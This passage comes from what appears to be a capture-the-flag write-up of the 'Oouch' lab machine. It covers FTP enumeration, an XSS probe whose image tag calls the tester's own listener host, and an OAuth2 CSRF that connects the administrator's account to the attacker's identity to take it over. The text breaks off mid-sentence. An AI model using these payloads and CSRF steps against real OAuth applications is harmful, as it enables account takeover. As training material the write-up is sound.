anonymous<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">230<\/span><span class=\"enlighter-text\"> Login successful.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Remote<\/span><span class=\"enlighter-text\"> system type is <\/span><span class=\"enlighter-e3\">UNIX<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Using<\/span><span class=\"enlighter-text\"> binary mode to transfer files.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">ftp<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> ls<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-e3\">PORT<\/span><span class=\"enlighter-text\"> command successful. Consider using <\/span><span class=\"enlighter-e3\">PASV<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">150<\/span><span class=\"enlighter-text\"> Here comes the directory listing.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">-rw-r--r-- <\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> ftp ftp <\/span><span class=\"enlighter-n1\">49<\/span><span class=\"enlighter-text\"> Feb <\/span><span class=\"enlighter-n1\">11<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">19<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">34<\/span><span class=\"enlighter-text\"> project.txt<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n1\">226<\/span><span class=\"enlighter-text\"> Directory send <\/span><span class=\"enlighter-e3\">OK<\/span><span class=\"enlighter-text\">.<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This seems to work. Testing write access or trying to create a directory leads to an<span>\u00a0<\/span><em>Permission denied<\/em><span>\u00a0<\/span>error. Seems like<span>\u00a0<\/span><code>project.txt<\/code><span>\u00a0<\/span>is the only thing we can get out of it.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali ~<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ cat project.txt <\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Flask<\/span><span class=\"enlighter-text\"> -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> Consumer<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Django<\/span><span class=\"enlighter-text\"> -<\/span><span class=\"enlighter-g1\">&gt;<\/span><span class=\"enlighter-text\"> Authorization Server<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Well, this is not that exciting, but it explains at least the ports that we saw in our<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>scan.<\/p>\n<ul>\n<li>5000 is the default webapplication port for<span>\u00a0<\/span><em>Flask<\/em>.<\/li>\n<li>8000 is the default webapplication port for<span>\u00a0<\/span><em>Django<\/em>.<\/li>\n<\/ul>\n<p>Furthermore, even we don\u2019t know about the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>theme of the box yet, by just hammering the term<span>\u00a0<\/span><em>Authorization Server<\/em><span>\u00a0<\/span>into your favorite search engine,<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>should appear as one of the first suggestions. So even when starting with zero knowledge, from this point we should expect an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>setup.<\/p>\n<p>The last not discussed port 22 seems to be a simple<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>server. Vulnerabilities in<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>are quite rare and for now we have enough other stuff to check out before we should start with enumerating the<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>server.<\/p>\n<h3 id=\"digging-deeper\">3.2 \u2013 Digging Deeper<\/h3>\n<p>You might already noticed that<span>\u00a0<\/span><em>nmap<span>\u00a0<\/span><\/em>was not even able to flag the port 8000 as<span>\u00a0<\/span><em>HTTP<\/em><span>\u00a0<\/span>port. This is already discouraging, but lets try to visit this page by using an ordinary web-browser:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/01-bad-request-1.png\" title_text=\"01-bad-request-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>This looks bad. Probably this server only responds to the correct hostname or returns content only for specific endpoints. However, before starting to use\u00a0<\/span><em>wfuzz<span>\u00a0<\/span><\/em><span>or\u00a0<\/span><em>gobuster<\/em><span>, we can still go to port 5000 and see what we can get there:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/02-login-1.png\" title_text=\"02-login-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>This looks more user friendly and seems to be a good starting point. On the login page we can now try to guess some credentials. Unfortunately, the login page does not even throw an error message on a failed login. This way, we do not even know a correct user name and bruteforcing could take forever. So lets move on to the registration page.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/03-register-1.png\" title_text=\"03-register-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>On the registration page there is a first interesting behavior to notice. If we choose\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em><span>as a username, we get an error message:<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/04-user-enum-1.png\" title_text=\"04-user-enum-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>This could allow us to enumerate valid usernames, but<span>\u00a0<\/span><em>qtc<span>\u00a0<\/span><\/em>is perhaps already the username of the site administrator. From here we could start a more dedicated bruteforce attack, but this should of course only be the last option. So let us register a own user named<span>\u00a0<\/span><em>test<span>\u00a0<\/span><\/em>and enumerate the site behind the login<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/05-consumer.png\" title_text=\"05-consumer\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>The first thing that strikes the eye is the\u00a0<\/span><em>Profile<span>\u00a0<\/span><\/em><span>page. On this page we can see that there is a field with name\u00a0<\/span><em>Connected-Accounts<\/em><span>. This is another indicator that\u00a0<\/span><em>OAuth2<\/em><span>\u00a0is used on this application. However, so far no accounts seem to be connected to our user.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/06-profile-1.png\" title_text=\"06-profile-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>The next endpoint that seems to be really interesting is the\u00a0<\/span><em>Documents<span>\u00a0<\/span><\/em><span>page. Here we get informed that the document store is only available for administrators. By getting access to an administrative account, this page could provide us access to the local file system of the server or may provide some sensitive documents that were stored by the administrator.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/07-documents-1.png\" title_text=\"07-documents-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Finally, the<span>\u00a0<\/span><em>Contact<span>\u00a0<\/span><\/em>endpoint could be interesting. Here it is said, that messages are directly forwarded to the system administrator. This could allow us to inject some<span>\u00a0<\/span><em>JavaScript<span>\u00a0<\/span><\/em>inside the browser of the administrator and to perform some<span>\u00a0<\/span><em>XSS<span>\u00a0<\/span><\/em>attacks.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/08-contact-1.png\" title_text=\"08-contact-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Lets start from here and try a simple<span>\u00a0<\/span><em>XSS<span>\u00a0<\/span><\/em>attack using a payload like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">&lt;<\/span><span class=\"enlighter-x1\">img<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-x2\">src<\/span><span class=\"enlighter-k3\">=<\/span><span class=\"enlighter-s0\">\"http:\/\/10.10.14.37:8000\/test\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">\/&gt;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>If the site is vulnerable, this should lead to a request on our<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>listener.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/09-hacker.png\" title_text=\"09-hacker\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>Wow\u2026 Inserting\u00a0<\/span><em>HTML<span>\u00a0<\/span><\/em><span>code inside the contact form will block our IP address for about one minute. Indeed, after issuing the request, I cannot contact the webapplication anymore. This is really frustrating. We could now stress the filtering rules of the application and try to use some more exotic\u00a0<\/span><em>XSS<span>\u00a0<\/span><\/em><span>payloads. However, we do not even have the guarantee that the system administrator opens our messages inside the browser. So before wasting time with exotic payloads, lets make a final test with a simple\u00a0<\/span><em>URL<span>\u00a0<\/span><\/em><span>to see if the administrator may just clicks on links.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/10-csrf.png\" title_text=\"10-csrf\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p><span>Okay, the message seems to pass the filtering rules. But do we also get an incoming request?<\/span><\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali www<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ python3 -m http.<\/span><span class=\"enlighter-m3\">server<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Serving HTTP on <\/span><span class=\"enlighter-m3\">0<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">0<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">0<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"> port <\/span><span class=\"enlighter-m0\">8000<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">http<\/span><span class=\"enlighter-c0\">:\/\/0.0.0.0:8000\/) ...<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n0\">10.10<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">10<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">177<\/span><span class=\"enlighter-text\"> - - <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\">\/Jun\/<\/span><span class=\"enlighter-n1\">2020<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n4\">06<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">58<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> code <\/span><span class=\"enlighter-n1\">404<\/span><span class=\"enlighter-text\">, message File not found<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-n0\">10.10<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">10<\/span><span class=\"enlighter-text\">.<\/span><span class=\"enlighter-m3\">177<\/span><span class=\"enlighter-text\"> - - <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-n1\">29<\/span><span class=\"enlighter-text\">\/Jun\/<\/span><span class=\"enlighter-n1\">2020<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n4\">06<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">58<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">12<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"GET \/test HTTP\/1.1\"<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">404<\/span><span class=\"enlighter-text\"> -<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Indeed! The system administrator seems at least to follow<span>\u00a0<\/span><em>URLs<span>\u00a0<\/span><\/em>that we include inside the message box. This opens the possibility for some<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attacks that, in the context of an<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>application, can have devastating consequences.<\/p>\n<h3 id=\"finding-oauth\">3.3 \u2013 Finding the O in Oouch<\/h3>\n<p>For now we identified that the system administrator visits<span>\u00a0<\/span><em>URLs<span>\u00a0<\/span><\/em>that are issued by the<span>\u00a0<\/span><em>Contact<span>\u00a0<\/span><\/em>endpoint of the application on port 5000. However, inside the application itself we did not identify vulnerable endpoints where we could take advantage of this behavior.<\/p>\n<p>The following step is a little bit handwaving and was actually not intended. I really expected that the word<span>\u00a0<\/span><code>oauth<\/code><span>\u00a0<\/span>would be part of all major wordlists out there, but unfortunately all<span>\u00a0<\/span><em>dirbuster<span>\u00a0<\/span><\/em>lists on<span>\u00a0<\/span><em>Kali Linux<\/em><span>\u00a0<\/span>do not include it. This is really unfortunate, but I hope that the endpoint<span>\u00a0<\/span><em>oauth<span>\u00a0<\/span><\/em>can be found by looking at the theme of the box. So lets cheat a little bit, use the knowledge of the author and visit the<span>\u00a0<\/span><code><strong>\/<\/strong>oauth<\/code><span>\u00a0<\/span>endpoint on port 5000.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/11-oauth-1.png\" title_text=\"11-oauth-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>On this endpoint we get finally informed that the application supports\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em><span>and that we can connect our account with an\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>account on the authorization server. This is interesting, since now we should see how a valid request to the authorization server actually looks like. So lets try to connect our account! Before doing so, we should of course add\u00a0<\/span><code>consumer.oouch.htb<\/code><span>\u00a0to our\u00a0<\/span><code>\/etc\/hosts<\/code><span>\u00a0file, since the presented links do obviously use this hostname. After clicking on one of the provided links, we are redirected to\u00a0<\/span><code>authorization.oouch.htb<\/code><span>.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/12-hostname-1.png\" title_text=\"12-hostname-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>Now we also know how the hostname of the authorization server has to look like. So lets add\u00a0<\/span><code>authorization.oouch.htb<\/code><span>\u00a0to the\u00a0<\/span><code>\/etc\/hosts<\/code><span>\u00a0file and just try to visit it using our browser.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/13-authorization-1.png\" title_text=\"13-authorization-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Okay, that looks like a typical authorization server. To go on, we need to register a new account.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/14-register.png\" title_text=\"14-register\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>Things get interesting! From the registration form we can see, that the authorization servers asks users about<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>information. Remember at this point that in a<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>setup consumer applications are usually allowed to access user data using the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>endpoint. This means, that consumer applications probably have access to<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>data that users enter during registration. This could be our way to get onto the server, but for now we feel relatively far away from that point.<\/p>\n<p>We register a new account named<span>\u00a0<\/span><em>test_auth<\/em><span>\u00a0<\/span>and check if the connection of local user accounts on the consumer application works. After visiting the<span>\u00a0<\/span><code>\/oauth\/connect<\/code><span>\u00a0<\/span>endpoint on the consumer application again, we get a redirect to the authorization server:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/15-connect.png\" title_text=\"15-connect\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>We allow access for the consumer application and are redirected to our profile page. We can see that the\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em><span>account\u00a0<\/span><em>test_auth<\/em><span>\u00a0was indeed connected to our local account.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/16-connected.png\" title_text=\"16-connected\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>From this point, we can use<span>\u00a0<\/span><code>\/oauth\/login<\/code><span>\u00a0<\/span>endpoint on the consumer application to sign in with our<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>account.<\/p>\n<h3 id=\"ready-to-attack\">3.4 \u2013 Ready to Attack<\/h3>\n<p>Okay, lets recap what we know so far:<\/p>\n<ul>\n<li>We can force the system administrator to perform<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests to arbitrary locations.<\/li>\n<li>There is an<span>\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em>consumer application that supports the connection of local and<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>accounts.<\/li>\n<\/ul>\n<p>This seems to be not very much, but when you think about the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>vulnerabilities that we discussed earlier, this could already be sufficient to perform a powerful attack. The only requirement is, that the actual connection request on the consumer application does not require a valid<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>token. To check this, we initiate the account connection again and intercept the final request to the consumer application.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/oauth\/connect\/token?code=<\/span><span class=\"enlighter-k0\">JMrrlAq0SyW3ONFaVkTaR96IGPxUPC<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: consumer.oouch.htb:<\/span><span class=\"enlighter-n1\">5000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: text\/html,application\/xhtml+xml,application\/xml;q=0.<\/span><span class=\"enlighter-n1\">9<\/span><span class=\"enlighter-text\">,*\/*;q=0.<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Language<\/span><span class=\"enlighter-text\">: en-<\/span><span class=\"enlighter-k0\">US<\/span><span class=\"enlighter-text\">,en;q=0.<\/span><span class=\"enlighter-n1\">5<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Referer<\/span><span class=\"enlighter-text\">: http:\/\/authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\">\/<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\">: session=.eJwlj8FqAzEMRH_F<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As one can see, there is only one parameter included into the request, which is the<span>\u00a0<\/span><em>authorization_code<\/em><span>\u00a0<\/span>from the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>provider. There is no<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>protection at all. Keep in mind that the request shown above is the only thing required to connect our<span>\u00a0<\/span><em>test_auth<span>\u00a0<\/span><\/em>account with a local account on the consumer application. Whoever sends this request to the consumer application will connect his account with our<span>\u00a0<\/span><em>test_auth<span>\u00a0<\/span><\/em>user on the authorization server.<\/p>\n<p>To perform the attack, we visit the<span>\u00a0<\/span><code>\/oauth\/connect<\/code><span>\u00a0<\/span>endpoint on the consumer application again, but intercept the final request to the consumer application. This request is then used to perform the<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attack on the consumer application administrator. We post the corresponding link into the contact form and wait about two minutes.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/17-csrf-1.png\" title_text=\"17-csrf-1\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p>If the attack was successful, the account of the site administrator (<em>qtc<\/em>) is now connected to our<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>account (<em>test_auth<\/em>). By visiting the<span>\u00a0<\/span><code>\/oauth\/login<\/code><span>\u00a0<\/span>endpoint, we should be able to login via<span>\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em>and hopefully see a different local account then we visit the<span>\u00a0<\/span><code>\/profile<\/code><span>\u00a0<\/span>endpoint.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/18-qtc.png\" title_text=\"18-qtc\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<h3 id=\"getting-rewarded\">3.5 \u2013 Getting Rewarded<\/h3>\n<p>Now that we are<span>\u00a0<\/span><em>qtc<\/em>, we are able to use the<span>\u00a0<\/span><code>\/documents<\/code><span>\u00a0<\/span>endpoint:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/19-documents.png\" title_text=\"19-documents\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>The<span>\u00a0<\/span><code><strong>\/<\/strong>documents<\/code><span>\u00a0<\/span>endpoint seems not to provide real access to the file system. However, we obtain some useful information:<\/p>\n<ul>\n<li><code>dev_access.txt<\/code><span>\u00a0<\/span>gives us some credentials, probably for developer endpoints. The note about application registration probably means, that we can use these credentials to register our own<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>consumer application.<\/li>\n<li><code>\/api\/get_user<\/code><span>\u00a0<\/span>seems to be one endpoint of the resource server. Such endpoints are used by the consumer applications to obtain user profile data. Furthermore, we get informed that the endpoint<span>\u00a0<\/span><code>\/oauth\/authorize<\/code><span>\u00a0<\/span>now also supports<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests. This could be essential for us, since we are only able to force the system administrator to perform<span>\u00a0<\/span><em>GET<span>\u00a0<\/span><\/em>requests.<\/li>\n<li>Finally, there is a<span>\u00a0<\/span><code>todo.txt<\/code><span>\u00a0<\/span>that mentions that access to<span>\u00a0<\/span><em>qtc\u2019s<\/em><span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>key can be obtained. Well, this is an indication that<span>\u00a0<\/span><em>qtc<\/em><span>\u00a0<\/span>really saved his<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>key on the authorization server, and since I\u2019m<span>\u00a0<\/span><em>qtc<\/em>, I can confirm:<span>\u00a0<\/span><em>Yes I did<\/em>.<\/li>\n<\/ul>\n<p>But how do we take advantage from all these hints? Well, we first of all need to search for these developer endpoints. Remember the<span>\u00a0<\/span><code>project.txt<\/code><span>\u00a0<\/span>file that we found on the<span>\u00a0<\/span><em>FTP<span>\u00a0<\/span><\/em>server? It said that the authorization server was developed using<span>\u00a0<\/span><em>Django<\/em>. Time to look if there is a default plugin for this<span>\u00a0<\/span><em>OAuth<span>\u00a0<\/span><\/em>stuff.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/20-django.png\" title_text=\"20-django\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\"]<\/p>\n<p>Indeed, there is! The<span>\u00a0<\/span><code>dev_access.txt<\/code><span>\u00a0<\/span>mentioned now, that application registration is allowed. The documentation of<span>\u00a0<\/span><em>Djangos OAuth Toolkit<\/em><span>\u00a0<\/span>tells us, that application registration can be done on the endpoint<span>\u00a0<\/span><code>http:\/\/&lt;HOST&gt;:8000\/o\/applications\/<\/code>. Since the authorization servers used the prefix<span>\u00a0<\/span><code>oauth<\/code><span>\u00a0<\/span>instead of<em><span>\u00a0<\/span><\/em><code>o<\/code>, I guess we visit<span>\u00a0<\/span><code>\/oauth\/applications<\/code>:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/21-admin-only.png\" title_text=\"21-admin-only\" _builder_version=\"4.9.4\" _module_preset=\"default\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\"]<\/p>\n<p><span>\u201e<\/span><em>Oouch Admin Only<\/em><span>\u201c does not sound good, since we only have developer access. But the 